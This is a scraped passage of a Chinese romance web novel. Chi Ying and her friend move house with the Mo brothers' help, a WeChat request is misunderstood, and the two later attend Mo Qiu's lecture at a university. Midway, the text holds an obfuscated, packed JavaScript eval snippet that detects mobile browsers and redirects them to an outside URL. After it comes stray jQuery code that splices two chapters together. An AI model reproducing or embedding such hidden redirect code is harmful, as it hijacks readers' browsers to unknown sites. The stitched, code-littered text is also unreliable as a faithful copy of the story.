“……”
迟影看着男人轻松地拖着麻袋朝后备箱走去,原地怔了半天。等回过神来,她才意识到脸颊发烫得厉害,连耳朵根都有些灼热。
在刚才那若有似无的触感冲击下,原本火辣辣的疼痛都显得麻木不少。
然而当事人却一切如常,正从容不迫地搬行李,甚至没往这边看一眼。
迟影叹口气。
她好歹也是二十好几的人了,怎么还因为一点不经意的触碰,就在这胡思乱想!
明明肇事者都如此坦然!
邓月菲没注意到她的不对劲,正叉着腰,卖力地指点江山。
“哎!学弟你放的时候小心点噢,那里面有我的机械键盘呢。”
“莫神,你注意把红色袋子放上面,别把里面的便携音响压坏了!”
“绿色袋子要轻拿轻放!护肤品都在里面呢!”
迟影靠在门框上平复心情,看着对二人指手画脚的邓月菲,翻了个白眼:“姐,做人怎么能像你这么无耻?”
邓月菲依旧大声吆喝着,眼神都不带给一个:“怎么了?本来不就是要搬家嘛!现在多了两个免费劳动力,不用白不用!”
“而且你知道最重要的是什么吗?”
迟影知道对方肯定没好话,但还是配合地抬了下眼:“?”
“是我不用叫货拉拉了!”迟影兴奋道,“我的好姐妹啊,你知道晚上的货拉拉有多贵吗?能抵两天饭钱啊!”
……迟影懒得搭理她。
“别喘了,你现在总在办公室坐着,这身子骨是真不行。”邓月菲拖着迟影往回走,“还有两个行李箱呢,咱俩赶紧的。”
“……”
窗外的繁华夜景飞速闪过,灯红酒绿,光影变幻,然而对比之下,车内却像被收了音般鸦雀无声。
迟影疲惫地靠在窗上,只想逃离这个黑色的四轮驱动载体。
除了驾驶位衣冠整齐的莫秋,他们每个人身上都抱了个大包裹,不侧头都看不见前方。
莫生身上的编织袋更是又大又沉,迟影从后面看去,甚至怀疑他会不会被压断气。
不仅如此,他原本为酒吧而精心准备的穿搭,已经松松垮垮的不成样子,白色的上衣蹭上了些油点,还散发着难闻的酒味。脖子上的耳机反倒像是实在塞不进麻袋里而不得不挂脖上的。
这波社会的毒打对阳光开朗大男孩来说,还是过于残酷了。
不过话说回来,迟影也没有想到邓月菲能这么“物尽其用”,不知道的以为是莫秋欠了她30万呢!
先是江湖救急时让人家免费当出租车,现在还利用裙带关系把人家当货拉拉。
站在莫秋的视角来看,迟影这种行为就跟过年在别人家强行借宿、连吃带拿,论关系却八杆子都打不着的亲戚一样匪夷所思。
老同学当到这个份上,也是百年不遇了。
迟影偏头看邓月菲,当事人抱着编织袋,头歪在窗上睡得正香,不知道梦到什么好吃的,吧唧了几下嘴。
迟影和邓月菲为了见面方便,特意将房子租在同一小区。
晚上十一点,车子终于停在邓月菲家楼下。迟影实在不想再麻烦莫家兄弟,一边从莫秋手里接过包裹一边道谢:“进门有电梯,我们自己拖上去就好,不麻烦你们了。”
“没关系的!”莫生在一旁搭话,“不差这一会儿。”
“时间不早了,你们赶紧回去吧。”没想到罪魁祸首邓月菲终于良心发现,使出牛劲扛起一个麻袋,身形还晃了下,“今天万分感谢,改天一定请你们吃饭。”
莫生挠挠头,见执拗不过也没再坚持。
趁着莫秋和邓月菲往单元门内扛货的间隙,莫生悄声绕到后备箱,压低声问迟影:“迟影姐,我可以加你微信吗?”
……哈?
迟影正在搬行李箱的动作一顿,有些意外地看向男生。
莫生大眼睛仍忽闪忽闪看着她,迎着她的视线挑挑眉,并没有要进一步解释的意思。
“啊……”迟影正犹豫着,忽然想起来今天晚上被糟蹋得不像样的包间。当时李其开的状态不清醒,很有可能是莫家兄弟付了清洁费和餐具损失费。
“可以可以!”想到这她连忙应下,从口袋里掏出手机,“那我扫你吧。”
“好嘞!”莫生开朗道。
见对方点开二维码,迟影走上前去,将摄像头对准屏幕。
“你们在干什么?”
如阎王般的声音在二人头上响起,低沉又冷淡,吓得迟影浑身一激灵,好悬没把手机直接丢出去。
她保持着僵硬的姿势缓缓抬眼,只见莫秋正垂眼看她。映着夜色,他纤长的睫毛投下隐秘难测的阴影,漆黑的瞳孔中似乎有说不清的东西在扩散。
不知为什么,在莫秋强大的气场下,她竟有种做坏事被抓个现行的心虚感。
“哥?”莫生也被他的动静吓一跳,但很快回过神来,一副行事坦荡的模样,“没怎么,我正问迟影姐要不要帮忙拿箱子呢。”
……???
迟影惊讶地转头看他。
他为什么撒谎?还撒了一个连傻子都能看破的谎?
莫生对上她疑惑的目光,冲她眨了下眼。
莫秋注意到两人的小动作,眸子半眯,目光落在迟影身上,颇有些隐晦不明的意味。
这下迟影更心虚了。
但事已至此,她只好在莫秋的视线下硬着头皮点了点头:“对,不过不用麻烦了,谢谢学弟。那个……我先走了!”
她拉着行李箱迅速转身,准备落荒而逃,忽然发现箱子被往反方向扯着,几乎纹丝不动。
一回头,莫秋正按着把手。
?
迟影不解地抬眼看他。
莫秋修长的手指间夹着一个小纸盒,抬手递来:“记得上药。”
迟影:“……”
终于和邓月菲一起把包裹拖上楼放好,迟影长出口气,仰面躺在沙发上休息。
缓过劲来后,她打开手机,屏幕果然还停在刚才扫完码跳出来的页面。
她输入“我是迟影”,发送好友请求。
对方很快通过申请。
“今天十分感谢。如果你们垫了钱,麻烦告诉我一声,我转给你……”
迟影字还没打完,对话框里忽然接连跳出几条新消息,让她呼吸骤停。
“你想加他微信,我可以转你。”
“不必这么”
“偷偷摸摸。”
???
迟影猛地甩开手机,脑子一片空白,耳旁仿佛一群复读鸭在疯叫“完了完了完了”。
邓月菲闻声从卫生间探头看她:“你怎么了?”
迟影崩溃地闭了闭眼。
“没事。”她埋进沙发里,感觉发烫的脸颊能把布料烧个洞,“手机烫手。”
……
第二天醒来时,迟影恍惚间以为昨天打了套军体拳,浑身上下的骨头都在打架。
她随意抓起手机,看到几条未读消息。
莫生:“迟影姐,对不起!!”
“昨天你加我的时候,我还在我哥车上。”
“那时他正跟我爸妈打电话呢,就不小心看到你的好友申请了。”
“你别生气啊。”
“……”迟影默默看着屏幕,一下子清醒不少。
其实站在莫秋的立场上,一个欠自己30万的“老同学”,心怀不轨地偷偷加弟弟微信,而且这个“老同学”还比弟弟大三四岁。
怎么都不可能不担心。
换做是迟影,估计都没这么客气。
她叹口气,接着往下看。
“迟影姐,我加你其实是想问你”
“你能不能把邓月菲学姐的微信推给我呀?”
“昨天想加她来着,但当时她心情不好,我害怕她冲我尥蹶子。”
尥蹶子?
哦对,昨天邓月菲好像是冲着李其开飞踢来着。
想到这迟影噗嗤一笑。当时那画面可称不上好看,而且昨天邓月菲也没少折磨这阳光开朗大男孩。
莫生这人,不会有什么奇怪的癖好吧?
迟影把莫生的微信推给邓月菲,对面果然甩来一个“?”
“昨天可能有清洁费和赔偿,不知道是不是他们垫的钱,你加下问问吧。”
想了想,迟影又接一句:“你不会想让我帮你付吧?”
对面很快回复:“我是那种人吗?”
“已经发送申请了。”
迟影挑挑眉,挂起老母亲般的微笑。
她正沉浸在粉红泡泡中,嘿嘿直乐,结果一低头看到条新消息。
老板:“有个紧急需求你处理下吧。邮件上转给你了,今天答复。”
“……”
迟影迅速收起笑容——幸福是别人的,负债30万的打工人不配拥有幸福!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059556|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周四下午,迟影终于结束一场与甲方厮杀的会议。对方最终以“我们虽然给不了多少钱,但你们应该以最优质的资源、最高级别的响应速度,以及最认真的态度来做我们的项目”这一结论,结束了整场会议。
看到迟影点击“退出会议”,一边的实习生犹豫着凑上来问:“迟律师,我们律所是不是很赚钱呀?”
“嗯?”迟影转头看她,“何出此言?”
实习生挠挠头:“感觉每天都在做慈善。”
“……”迟影无奈一笑,“仔细来说,还是不一样的。”
“做慈善还能留个好名声,我们可不一定。”
回到工位,迟影打开电脑准备跟老板汇报下今天的会议情况,忽然看到微信上置顶的新消息。
邓月菲:“周五晚上时间留一下。”
迟影扫眼待办事项,周五晚上倒是不用加班。
“你最好有重要的事,不然我想回家打游戏。”
邓月菲:“白眼狼。”
迟影:“?”
邓月菲:“咱俩之前承诺请魔头他们吃饭以示感谢的,你不会单纯就是客气一下吧?”
迟影当时,确实就是单纯的,客气一下。倒不是钱的问题,主要她觉得,每次遇到莫秋就没什么好事。
他有点克她。
但既然邓月菲主动提起这事,她也没办法装死:“是你承诺的,而且事情本身也是你惹的,你请。”
邓月菲:“……”
邓月菲:“你怎么这么抠!”
迟影冷笑一声:“你为了货拉拉200块钱而出卖我尊严的时候不抠?”
对方沉默了,过了好一会,才继续发来消息。
“好嘛……我请。那你来不来嘛?”
迟影利落地答复:“来。”
邓月菲:“OK。周五下午六点半,学校5教门口集合。”
迟影:“?”
她有些匪夷所思:“你不会就请人家吃学校食堂吧?”
邓月菲发来一个翻白眼的表情。
“不至于!主要是魔头有堂课要7点才能结束,我们一起在那里等他。”
有堂课?
迟影愣了下。
他不是在美国M大读博吗?而且应该跟邓月菲一样,正好今年毕业。
她思索无果,皱着眉头敲字:“魔头又回A大读书了吗?”
邓月菲:[震惊.jpg]
“姐?你清醒一点?人家是在A大教书!”
?
啊?
迟影这才反应过来,上次莫秋出现在宿舍楼前,不仅仅是因为他要接莫生,还因为他就在学校工作。
不是……他不是跟自己还有邓月菲同级吗?
手机滑落,迟影一瞬间仿佛失去所有力气。
人生的参差不过如此——人家已经身处罗马,而她还在当牛做马。
A大里人山人海,迟影才意识到,今天是周五。
作为全国顶尖学府,A大每周五到周日会向社会开放校园观光的预约通道,供校外人士进校参观。所以通常从周五开始,校园里面就会出现各种鲜活的场面。
有家长们带着孩子来打卡祈愿的,有其他学校学生们约着逛美术馆的,还有上了年龄的爷爷奶奶与A大学生们一起夜跑马拉松的。
迟影最喜欢这个时候的A大,像是和平年代繁华盛世的微缩景观。
外面热闹非凡,5教的教学楼内却依然安静肃穆。
迟影跟着邓月菲来到二楼教室,一眼看到最后一排正在打哈欠的莫生。他今天的穿搭明显也精心设计过,浅蓝色短袖T恤配上直筒长裤,清爽干净。
她在邓月菲身边坐下,一瞬间还有点不适应自己“学生”的身份。
前排的学生们满满当当,认真地听着台上之人讲课。从讲课的内容来看,莫秋大学之后主修的应该还是生物学。
淡青色衬衫搭配深灰色西裤,衬得男人肩宽腿长。即使相隔很远,他英气俊朗的五官也清晰夺目,视线淡淡扫来时,总让人不自觉静了呼吸。
他的板书很好看,字体规整又苍劲有力,清冷的声线没有什么起伏,但冰凉的质感丝毫不会让人想打瞌睡。
迟影托着下巴感叹,上帝在设计他的时候,主打一个南北通透,一扇窗也不关啊。
正当她看得出神时,莫秋视线不偏不倚与她对上,眸正神清,目光坦荡,就像在肯定认真听讲的学生。